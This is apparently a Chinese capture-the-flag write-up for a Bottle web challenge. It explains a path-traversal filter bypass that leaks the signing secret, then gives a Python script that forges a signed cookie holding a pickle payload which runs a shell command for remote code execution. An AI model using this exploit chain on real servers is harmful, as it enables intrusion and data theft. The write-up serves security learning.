共计2941个字符,预计需要花费8分钟才能阅读完成。
题目
给了源码:
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)
后面还给出了提示:不要爆破 uuid!想想怎么 RCE 服务器呢?
思路
看到代码第 11~12 行读取了 secret.txt 文件,现在我们虽然不知道这个 secret 有什么用,但是肯定还是会想能不能获取呢?
下面的路由 /download
有任意下载漏洞,我们访问 /download?filename=xxx
就能下载 xxx 文件。这里过滤了一些防止跨越目录的代码,但是我们可以用 ./.././../secret.txt
绕过 ../../
。然后我们得到了密钥:
在 /secret
页面下,根据题目提示,可以 RCE?我们看到 session = request.get_cookie("name", secret=secret)
,这行加载了 cookie,而我们又已经知道了 secret,是否跟这个有关?
我们来看看 Bottle 框架是怎么实现这个 get_cookie
函数的:
这里用了 Pickle 来进行反序列化!我们都知道 Pickle 可能会导致反序列化漏洞, 不会的点这里看看 。
因此,我们只需要将 RCE 代码放到 cookie 里面即可!
我们可以尝试模仿 Bottle 框架的 set_cookie()
函数来写 payload:
通过序列化和签名来构建 cookie 的代码:
import pickle
import base64
import hmac
import hashlib
import subprocess
# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag_* > /test')", ))
encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
print(value)
这里我们执行了 cat /flag_* > /test
命令,将 flag 写入了 /test
文件里。至于为什么不直接读取,因为 flag 名我们并不知道。于是得到 cookie 为 !RXIH977aUmGvq+EmAkbp5aQunq/ADev8dBKbqLYmD90=?gAWVVQAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIwvX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZ18qID4gL3Rlc3R0JymUhZRSlHMu
,并且访问 /secret
,出现 Error:
然后再任意文件读取 download?filename=./.././../test
就能得到 flag 了!
Payload
import pickle
import base64
import hmac
import hashlib
import subprocess
# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag_* > /test')", ))
encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
print(value)